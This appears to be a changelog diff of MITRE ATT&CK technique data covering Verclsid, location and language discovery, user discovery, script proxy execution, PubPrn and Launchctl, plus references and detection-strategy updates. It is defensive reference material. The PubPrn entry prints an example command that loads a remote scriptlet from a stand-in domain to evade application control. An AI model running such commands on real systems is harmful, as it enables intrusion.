+ "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.",
+ "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
+ },
+ {
+ "source_name": "Red Canary Verclsid.exe",
+ "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.",
+ "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/"
+ },
+ {
+ "source_name": "LOLBAS Verclsid",
+ "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"
+ },
+ {
+ "source_name": "Nick Tyrer GitHub",
+ "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.",
+ "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
+ },
+ {
+ "source_name": "WinOSBite verclsid.exe",
+ "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved November 17, 2024.",
+ "url": "https://winosbite.com/verclsid-exe/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Rodrigo Garcia, Red Canary"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.930000+00:00\", \"old_value\": \"2025-04-15 19:58:46.323000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1037: Filter Network Traffic",
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0042: Detection Strategy for T1218.012 Verclsid Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-04-01 16:42:08.735000+00:00",
+ "modified": "2025-10-24 17:49:22.536000+00:00",
+ "name": "System Location Discovery",
+ "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1614",
+ "external_id": "T1614"
+ },
+ {
+ "source_name": "Bleepingcomputer RAT malware 2020",
+ "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.",
+ "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/"
+ },
+ {
+ "source_name": "AWS Instance Identity Documents",
+ "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.",
+ "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html"
+ },
+ {
+ "source_name": "Securelist Trasparent Tribe 2020",
+ "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.",
+ "url": "https://securelist.com/transparent-tribe-part-1/98127/"
+ },
+ {
+ "source_name": "FBI Ragnar Locker 2020",
+ "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.",
+ "url": "https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"
+ },
+ {
+ "source_name": "Microsoft Azure Instance Metadata 2021",
+ "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.",
+ "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows"
+ },
+ {
+ "source_name": "Sophos Geolocation 2016",
+ "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.",
+ "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Pooja Natarajan, NEC Corporation India",
+ "Hiroki Nagahama, NEC Corporation",
+ "Manikantan Srinivasan, NEC Corporation India",
+ "Wes Hurd",
+ "Katie Nickels, Red Canary"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.536000+00:00\", \"old_value\": \"2025-04-15 23:14:16.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\\n\\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\\n-\\n-Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0043: Detection Strategy for System Location Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-08-18 14:06:45.244000+00:00",
+ "modified": "2025-10-24 17:49:20.039000+00:00",
+ "name": "System Language Discovery",
+ "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1614/001",
+ "external_id": "T1614.001"
+ },
+ {
+ "source_name": "Darkside Ransomware Cybereason",
+ "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.",
+ "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware"
+ },
+ {
+ "source_name": "Securelist JSWorm",
+ "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.",
+ "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/"
+ },
+ {
+ "source_name": "CrowdStrike Ryuk January 2019",
+ "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.",
+ "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"
+ },
+ {
+ "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018",
+ "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
+ "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
+ },
+ {
+ "source_name": "Malware System Language Check",
+ "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.",
+ "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/"
+ }
+ ],
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+ "external_id": "T1016"
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+ "source_name": "Mandiant APT41 Global Intrusion ",
+ "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
+ "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"
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+ "source_name": "Trellix Rnasomhouse 2024",
+ "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
+ "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
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+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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+ "DS0009: Process (Process Creation)",
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+ "DS0017: Command (Command Execution)"
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+ "DET0195: Behavioral Detection of System Network Configuration Discovery"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1049",
+ "external_id": "T1049"
+ },
+ {
+ "source_name": "Amazon AWS VPC Guide",
+ "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.",
+ "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"
+ },
+ {
+ "source_name": "Microsoft Azure Virtual Network Overview",
+ "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
+ },
+ {
+ "source_name": "Google VPC Overview",
+ "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.",
+ "url": "https://cloud.google.com/vpc/docs/vpc"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "Sygnia ESXi Ransomware 2025",
+ "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
+ "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
+ }
+ ],
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+ "Network Devices",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.094000+00:00\", \"old_value\": \"2025-04-15 19:58:45.496000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
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+ "new": [],
+ "dropped": []
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+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0320: Detection of System Network Connections Discovery Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:35.733000+00:00",
+ "modified": "2025-10-24 17:48:20.366000+00:00",
+ "name": "System Owner/User Discovery",
+ "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1033",
+ "external_id": "T1033"
+ },
+ {
+ "source_name": "show_ssh_users_cmd_cisco",
+ "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
+ },
+ {
+ "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
+ "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
+ }
+ ],
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+ "x_mitre_platforms": [
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+ "macOS",
+ "Network Devices",
+ "Windows"
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+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Access\", \"Process: OS API Execution\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Windows Registry: Windows Registry Key Access\", \"File: File Access\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.366000+00:00\", \"old_value\": \"2025-04-15 19:58:02.301000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0024: Windows Registry (Windows Registry Key Access)",
+ "DS0026: Active Directory (Active Directory Object Access)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0093: Behavioral Detection of User Discovery via Local and Remote Enumeration"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:49:37.665000+00:00",
+ "name": "System Script Proxy Execution",
+ "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1216",
+ "external_id": "T1216"
+ },
+ {
+ "source_name": "GitHub Ultimate AppLocker Bypass List",
+ "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
+ "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
+ },
+ {
+ "source_name": "LOLBAS Project",
+ "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
+ "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"
+ }
+ ],
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+ "x_mitre_contributors": [
+ "Praetorian",
+ "Wes Hurd"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0466: Detection of Script-Based Proxy Execution via Signed Microsoft Utilities"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-03 16:49:57.788000+00:00",
+ "modified": "2025-10-24 17:48:22.022000+00:00",
+ "name": "PubPrn",
+ "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1216/001",
+ "external_id": "T1216.001"
+ },
+ {
+ "source_name": "pubprn",
+ "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
+ },
+ {
+ "source_name": "Enigma0x3 PubPrn Bypass",
+ "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
+ "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
+ }
+ ],
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+ "x_mitre_deprecated": false,
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+ "DET0528: Detecting Remote Script Proxy Execution via PubPrn.vbs"
+ ],
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+ }
+ },
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+ "name": "System Services",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
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+ ],
+ "revoked": false,
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1569",
+ "external_id": "T1569"
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS",
+ "Linux"
+ ],
+ "x_mitre_version": "1.4",
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+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
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+ "shared": [],
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+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
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+ "shared": [],
+ "new": [
+ "DET0279: Detection Strategy for System Services across OS platforms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-10 18:26:56.187000+00:00",
+ "modified": "2025-10-24 17:49:02.098000+00:00",
+ "name": "Launchctl",
+ "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1569/001",
+ "external_id": "T1569.001"
+ },
+ {
+ "source_name": "Sofacy Komplex Trojan",
+ "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+ },
+ {
+ "source_name": "20 macOS Common Tools and Techniques",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
+ "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
+ },
+ {
+ "source_name": "Launchctl Man",
+ "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.",
+ "url": "https://ss64.com/osx/launchctl.html"
+ }
+ ],
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.3",
